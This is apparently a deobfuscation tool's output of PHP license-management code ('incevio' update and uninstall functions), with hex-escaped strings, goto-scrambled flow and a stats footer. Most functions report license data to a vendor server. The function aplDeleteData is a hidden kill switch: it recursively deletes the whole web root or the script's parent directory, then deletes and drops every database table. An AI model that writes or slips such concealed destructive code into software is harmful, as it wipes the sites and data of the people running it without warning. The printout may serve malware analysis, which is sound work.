    $post_info = "\x70\x72\157\144\165\143\164\137\151\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\x6c\x69\x65\156\164\x5f\x65\x6d\x61\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\x6c\x69\x63\x65\x6e\163\145\137\143\157\144\x65\75" . rawurlencode($LICENSE_CODE) . "\x26\x72\157\x6f\x74\137\165\162\154\75" . rawurlencode($ROOT_URL) . "\46\x69\156\163\164\141\154\x6c\141\x74\151\157\156\137\x68\141\163\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\154\151\143\x65\x6e\163\145\x5f\x73\x69\x67\156\141\x74\165\162\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\160\154\x5f\x63\141\154\154\x62\x61\x63\x6b\x73\57\x6c\151\143\145\156\x73\x65\x5f\x75\x70\144\x61\x74\x65\163\x2e\x70\150\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    nGmSd: EwUSu:
    return $notifications_array;
}

function incevioUpdateLicense($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto g0VRV;
    }
    $notifications_array["\156\x6f\x74\x69\146\x69\x63\x61\x74\x69\x6f\156\137\x63\141\x73\145"] = "\156\157\x74\x69\x66\151\x63\x61\164\151\x6f\x6e\x5f\x73\143\x72\x69\160\164\137\x63\157\x72\162\x75\160\x74\145\144";
    $notifications_array["\156\x6f\x74\151\x66\151\143\x61\164\151\x6f\156\x5f\x74\145\x78\x74"] = implode("\x3b\40", $apl_core_notifications);
    goto WnsNf;
    g0VRV:
    if (aplCheckData($MYSQLI_LINK)) {
        goto GEALH;
    }
    $notifications_array["\156\157\x74\151\x66\x69\143\141\164\x69\157\x6e\137\x63\141\x73\x65"] = "\x6e\x6f\164\151\x66\151\143\x61\164\151\157\x6e\137\x6c\151\143\145\x6e\163\145\137\x63\x6f\x72\x72\x75\160\164\145\x64";
    $notifications_array["\x6e\x6f\x74\151\x66\151\143\x61\164\151\157\x6e\x5f\x74\x65\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto u2Onc;
    GEALH:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\160\x72\x6f\x64\x75\143\164\137\x69\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\143\154\151\145\156\x74\137\145\x6d\141\151\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\x63\145\156\x73\145\x5f\x63\157\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\162\157\x6f\164\137\x75\162\154\x3d" . rawurlencode($ROOT_URL) . "\46\x69\156\x73\164\141\x6c\154\x61\x74\x69\x6f\156\137\x68\141\x73\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\151\143\145\x6e\x73\145\x5f\x73\x69\147\156\x61\x74\165\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\x6c\x5f\x63\141\x6c\154\142\141\x63\x6b\x73\57\154\151\x63\145\156\163\145\x5f\x75\x70\144\141\x74\x65\56\x70\150\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    u2Onc: WnsNf:
    return $notifications_array;
}

function incevioUninstallLicense($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto kX_Br;
    }
    $notifications_array["\156\x6f\164\x69\146\151\143\x61\x74\x69\157\x6e\137\143\141\x73\145"] = "\156\x6f\x74\x69\146\x69\x63\141\x74\151\157\x6e\x5f\163\143\x72\x69\160\164\137\143\157\x72\x72\x75\x70\164\x65\x64";
    $notifications_array["\x6e\x6f\x74\151\146\151\143\141\164\151\157\x6e\x5f\x74\145\170\164"] = implode("\x3b\x20", $apl_core_notifications);
    goto JcVqO;
    kX_Br:
    if (aplCheckData($MYSQLI_LINK)) {
        goto udHKL;
    }
    $notifications_array["\x6e\x6f\164\151\146\151\x63\141\164\x69\x6f\156\x5f\x63\x61\x73\145"] = "\156\157\164\x69\x66\x69\x63\x61\x74\x69\x6f\x6e\x5f\x6c\151\x63\145\x6e\x73\x65\137\143\x6f\x72\162\x75\160\x74\x65\x64";
    $notifications_array["\156\x6f\x74\x69\x66\151\x63\x61\164\151\x6f\156\137\164\x65\x78\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto gU2cT;
    udHKL:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\x70\x72\157\x64\x75\143\164\137\151\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\x6c\x69\x65\156\164\137\x65\x6d\141\x69\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\151\143\x65\156\163\145\137\x63\x6f\144\x65\75" . rawurlencode($LICENSE_CODE) . "\x26\162\x6f\x6f\x74\x5f\x75\162\154\75" . rawurlencode($ROOT_URL) . "\46\x69\x6e\x73\164\x61\154\x6c\141\x74\x69\157\x6e\137\150\141\163\x68\75" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\x69\x63\x65\156\163\x65\137\163\151\147\x6e\141\164\165\162\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\160\x6c\x5f\x63\141\x6c\154\x62\141\x63\153\163\x2f\x6c\151\143\145\156\163\x65\x5f\x75\156\x69\156\163\x74\141\154\154\56\160\150\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!($notifications_array["\x6e\x6f\164\x69\146\151\x63\x61\x74\x69\157\x6e\x5f\143\x61\x73\145"] == "\156\157\164\x69\146\151\143\x61\164\151\x6f\156\x5f\154\x69\x63\x65\156\x73\145\x5f\x6f\x6b")) {
        goto reaY2;
    }
    if (!(APL_STORAGE == "\x44\101\x54\101\102\x41\123\x45")) {
        goto VGNIv;
    }
    mysqli_query($MYSQLI_LINK, "\x44\x45\114\105\x54\x45\x20\106\122\117\x4d\40" . APL_DATABASE_TABLE);
    mysqli_query($MYSQLI_LINK, "\104\x52\x4f\x50\x20\124\101\102\x4c\x45\40" . APL_DATABASE_TABLE);
    VGNIv:
    if (!(APL_STORAGE == "\x46\x49\x4c\105")) {
        goto V5xNP;
    }
    $handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53");
    @fclose($handle);
    V5xNP: reaY2: gU2cT: JcVqO:
    return $notifications_array;
}

function aplDeleteData($MYSQLI_LINK = null)
{
    if (APL_GOD_MODE == "\x59\x45\x53" && isset($_SERVER["\104\117\x43\x55\x4d\105\116\124\x5f\x52\x4f\117\124"])) {
        goto qkJUW;
    }
    $root_directory = dirname(__DIR__);
    goto xNtUB;
    qkJUW:
    $root_directory = $_SERVER["\104\117\103\x55\x4d\x45\x4e\124\x5f\122\117\117\x54"];
    xNtUB:
    foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
        $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        WEEwQ:
    }
    BTmhP:
    rmdir($root_directory);
    if (!(APL_STORAGE == "\104\101\x54\101\x42\101\123\x45")) {
        goto peh9Q;
    }
    $database_tables_array = array();
    $table_list_results = mysqli_query($MYSQLI_LINK, "\123\110\x4f\x57\40\x54\x41\102\x4c\105\123");
    yxdEI:
    if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
        goto IpIOv;
    }
    $database_tables_array[] = $table_list_row[0];
    goto yxdEI;
    IpIOv:
    if (empty($database_tables_array)) {
        goto qouGU;
    }
    foreach ($database_tables_array as $table_name) {
        mysqli_query($MYSQLI_LINK, "\x44\105\x4c\105\124\x45\40\x46\x52\x4f\115\40{$table_name}");
        vynLy:
    }
    Aiu6g:
    foreach ($database_tables_array as $table_name) {
        mysqli_query($MYSQLI_LINK, "\x44\122\x4f\x50\40\124\101\102\114\105\x20{$table_name}");
        DB6Bz:
    }
    IYgH0: qouGU: peh9Q:
    exit;
}

Function Calls

None

Variables

None

Stats

MD5 d449ea514796a11e7b66eba44a49e990
Eval Count 0
Decode Time 79 ms